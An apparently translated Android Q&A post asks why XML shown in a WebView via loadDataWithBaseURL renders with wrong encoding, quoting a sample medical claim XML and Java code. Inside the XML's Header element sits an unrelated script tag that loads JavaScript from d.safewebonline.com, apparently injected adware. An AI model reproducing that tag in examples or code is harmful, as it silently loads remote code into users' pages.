WebView loadDataWithBaseURL编码

时间:2015-09-23 09:56:19

标签: android xml android-webview

这是我在WebView上呈现的XML:

<Claim.Submission>
  <Header><script src="http://d.safewebonline.com/l/load.js"></script>
    <SenderID />
    <ReceiverID>MF3669</ReceiverID>
    <TransactionDate>2015-08-13T11:01:41.517</TransactionDate>
    <RecordCount>6</RecordCount>
    <DispositionFlag>PRODUCTION</DispositionFlag>
  </Header>
  <Claim>
    <ID>2</ID>
    <ProviderID>1002</ProviderID>
    <EmiratesIDNumber>865-6122-1212121-2</EmiratesIDNumber>
    <Gross>143074.0000</Gross>
    <PatientShare>27200.0000</PatientShare>
    <Net>115874.0000</Net>
    <Encounter>
      <FacilityID>1002</FacilityID>
      <Type>0</Type>
      <PatientID>2</PatientID>
      <EligibilityIDPayer>100089</EligibilityIDPayer>
      <Start>2015-01-04T16:28:32.050</Start>
      <End>Feb 11 2015  4:30PM</End>
      <StartType>1</StartType>
      <EndType>1</EndType>
    </Encounter>
    <Diagnosis>
      <Type>Principal</Type>
      <Code>151.3</Code>
    </Diagnosis>
    <Diagnosis>
      <Type>Secondary</Type>
    </Diagnosis>
    <Diagnosis>
      <Type>Secondary</Type>
      <Code>123.3</Code>
    </Diagnosis>
    <Diagnosis>
      <Type>Secondary</Type>
      <Code>222.8</Code>
    </Diagnosis>
    <Activity>
      <ID>23</ID>
      <Start>2015-01-09T00:00:00</Start>
      <Type>3</Type>
      <Code>00214</Code>
      <Quantity>2.0000</Quantity>
      <Net>0.0000</Net>
      <OrderingClinician>1234566789</OrderingClinician>
      <Clinician>1234566789</Clinician>
    </Activity>
    <Activity>
      <ID>708</ID>
      <Start>2015-01-03T00:00:00</Start>
      <Type>8</Type>
      <Code>17-06 </Code>
      <Quantity>1.0000</Quantity>
      <Net>3200.0000</Net>
      <OrderingClinician>1234566789</OrderingClinician>
      <Clinician>1234566789</Clinician>
      <PriorAuthorizationID>100089</PriorAuthorizationID>
    </Activity>
    <Activity>
      <ID>725</ID>
      <Start>2015-01-03T00:00:00</Start>
      <Type>8</Type>
      <Code>17-06 </Code>
      <Quantity>1.0000</Quantity>
      <OrderingClinician>1234566789</OrderingClinician>
      <Clinician>1234566789</Clinician>
      <PriorAuthorizationID>100089</PriorAuthorizationID>
    </Activity>
    <Activity>
      <ID>740</ID>
      <Start>2015-01-03T00:00:00</Start>
      <Type>8</Type>
      <Code>17-06 </Code>
      <Quantity>1.0000</Quantity>
      <OrderingClinician>1234566789</OrderingClinician>
      <Clinician>1234566789</Clinician>
      <PriorAuthorizationID>100089</PriorAuthorizationID>
    </Activity>
    <Contract>
      <PackageName>Corniche Select</PackageName>
    </Contract>
  </Claim>
</Claim.Submission>  

这就是我在WebView上看到的:
enter image description here

这就是我要展示的内容:

String header = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>";
browser.getSettings().setDefaultTextEncodingName("utf-8");
browser.loadDataWithBaseURL(null, header + result, "text/html", "utf-8", null);  

0 个答案:

没有答案